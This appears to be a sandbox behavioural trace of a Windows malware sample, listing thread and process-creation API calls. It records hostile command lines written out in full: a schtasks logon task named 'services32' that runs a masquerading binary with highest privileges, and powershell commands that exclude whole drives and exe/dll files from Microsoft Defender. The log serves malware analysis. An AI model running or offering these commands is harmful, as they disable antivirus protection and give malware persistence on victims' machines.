thread_handle: 0x00000000000002b0
suspend_count: 1
process_identifier: 1544
1 0 0

NtResumeThread

thread_handle: 0x0000000000000304
suspend_count: 1
process_identifier: 1544
1 0 0

NtResumeThread

thread_handle: 0x000000000000038c
suspend_count: 1
process_identifier: 1544
1 0 0

NtResumeThread

thread_handle: 0x0000000000000428
suspend_count: 1
process_identifier: 1544
1 0 0

CreateProcessInternalW

thread_identifier: 2024
thread_handle: 0x0000000000000060
process_identifier: 1304
current_directory: C:\Windows\system32
filepath: C:\Windows\System32\schtasks.exe
track: 1
command_line: schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"
filepath_r: C:\Windows\system32\schtasks.exe
stack_pivoted: 0
creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 1
process_handle: 0x0000000000000064
1 1 0

CreateProcessInternalW

thread_identifier: 2464
thread_handle: 0x0000000000000060
process_identifier: 2492
current_directory: C:\Windows\system32
filepath: C:\Windows\System32\services32.exe
track: 1
command_line: C:\Windows\system32\services32.exe
filepath_r: C:\Windows\system32\services32.exe
stack_pivoted: 0
creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 1
process_handle: 0x0000000000000064
1 1 0

NtResumeThread

thread_handle: 0x00000000000000c8
suspend_count: 1
process_identifier: 2492
1 0 0

NtResumeThread

thread_handle: 0x000000000000013c
suspend_count: 1
process_identifier: 2492
1 0 0

NtResumeThread

thread_handle: 0x000000000000017c
suspend_count: 1
process_identifier: 2492
1 0 0

NtResumeThread

thread_handle: 0x00000000000001f4
suspend_count: 1
process_identifier: 2492
1 0 0

NtGetContextThread

thread_handle: 0x00000000000000d0
1 0 0

NtGetContextThread

thread_handle: 0x00000000000000d0
1 0 0

NtResumeThread

thread_handle: 0x00000000000000d0
suspend_count: 1
process_identifier: 2492
1 0 0

CreateProcessInternalW

thread_identifier: 2808
thread_handle: 0x0000000000000220
process_identifier: 2796
current_directory: C:\Windows\system32
filepath:
track: 1
command_line: "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x0000000000000240
1 1 0

CreateProcessInternalW

thread_identifier: 2892
thread_handle: 0x0000000000000060
process_identifier: 2940
current_directory: C:\Windows\system32
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 1
process_handle: 0x0000000000000064
1 1 0

NtResumeThread

thread_handle: 0x00000000000002a8
suspend_count: 1
process_identifier: 2940
1 0 0